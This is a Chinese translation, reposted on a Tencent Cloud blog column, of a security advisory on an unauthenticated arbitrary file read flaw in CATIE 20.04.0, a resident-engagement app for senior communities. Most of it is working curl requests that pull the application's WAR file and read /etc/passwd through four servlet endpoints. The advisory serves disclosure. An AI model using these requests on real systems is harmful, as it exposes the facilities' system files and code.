【翻译】CATIE Web 应用程序任意文件读取漏洞

信安百科

发布于 2023-10-02 18:24:28

1120

发布于 2023-10-02 18:24:28

文章被收录于专栏：信安百科信安百科

原文链接：

https://bishopfox.com/blog/catie-web-v-20-04-0-advisory

前言：

CATIE是一款通信，自助服务和居民参与软件，可帮助老年人以各种方式与社区建立联系。该产品引入了一种有效的方法，让居民了解社区事件，同时让员工每天了解居民的需求。

官方网站：

https://www.statussolutions.com/resident-engagement-catie

漏洞描述：

未经身份验证的远程攻击者通过/catie/MultiPartUtilityServlet 可以读取系统文件。

影响版本：

CATIE 20.04.0版本

过程：

相关代码：

$ curl -sk 'https://[REDACTED]/catie/MultiPartUtilityServlet?file=catie.war&dir=/home/apache-tomcat/webapps/' --output catie.war
$ unzip catie.war
...omitted for brevity...
$ ls
admin appadmin catie.war device global META-INF sara WEB-INF

$ curl -sk 'https://[REDACTED]/catie/ImageGrabberServlet?imageName=/passwd&imageDir=/etc'
$ curl -sk 'https://[REDACTED]/catie/AudioStream?file=/etc/passwd'
$ curl -sk 'https://[REDACTED]/catie/device/carousel/tv/Filewriter?filename=/etc/passwd'

本文参与?腾讯云自媒体分享计划，分享自微信公众号。

原始发表：2021-12-09 13:09:04，如有侵权请联系?cloudcommunity@tencent.com 删除

web